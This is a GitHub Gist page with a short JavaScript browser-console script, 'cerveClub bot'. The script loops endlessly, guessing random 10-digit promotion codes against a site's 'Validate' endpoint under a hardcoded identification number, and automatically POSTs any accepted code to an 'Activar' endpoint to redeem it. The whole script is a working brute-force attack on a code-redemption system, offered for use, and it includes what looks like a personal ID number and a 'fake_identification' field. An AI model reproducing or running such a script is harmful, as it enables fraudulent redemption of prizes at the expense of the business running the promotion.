Last active
September 3, 2019 01:48
-
-
Save franciscocorrales/547765c22a7b44aa6bd11c01b7a4e4d1 to your computer and use it in GitHub Desktop.
cerveClub
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cerveClub = { | |
tries: 0, | |
keepRunning: true, | |
identification: "206730002", | |
fake_identification: "209992222", | |
valid_codes = [], | |
wait_miliseconds = 300 | |
}; | |
function pauseCerveClubBot() { | |
cerveClub.keepRunning = false; | |
} | |
async function continueCerveClubBot() { | |
cerveClub.keepRunning = true; | |
while(cerveClub.keepRunning) { | |
await cerveClubLoop(); | |
} | |
} | |
// Code format is numberic of 10 digits. | |
function generateCode() { | |
return Math.floor((Math.random() * 9012847784) + 2031432374); | |
} | |
function sleep(ms) { | |
return new Promise(resolve => setTimeout(resolve, ms)); | |
} | |
function activateCodes() { | |
} | |
async function cerveClubLoop() { | |
console.clear(); | |
cerveClub.tries++; | |
var code = generateCode(); | |
$.post( "Validate", { id: cerveClub.identification, code: code} ).done(function( data ) { | |
if (!data.Success) return; | |
console.log("Valid Code Found!"); | |
console.log(code); | |
cerveClub.valid_codes.push(code); | |
$.post( "Activar", { info: code + "_" + cerveClub.identification +"-" } ); | |
}); | |
console.log("cerveClub bot just tried: " + code + " as the try #" + cerveClub.tries); | |
console.log("Valid Codes Activated:", cerveClub.valid_codes); | |
await sleep(cerveClub.wait_miliseconds); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment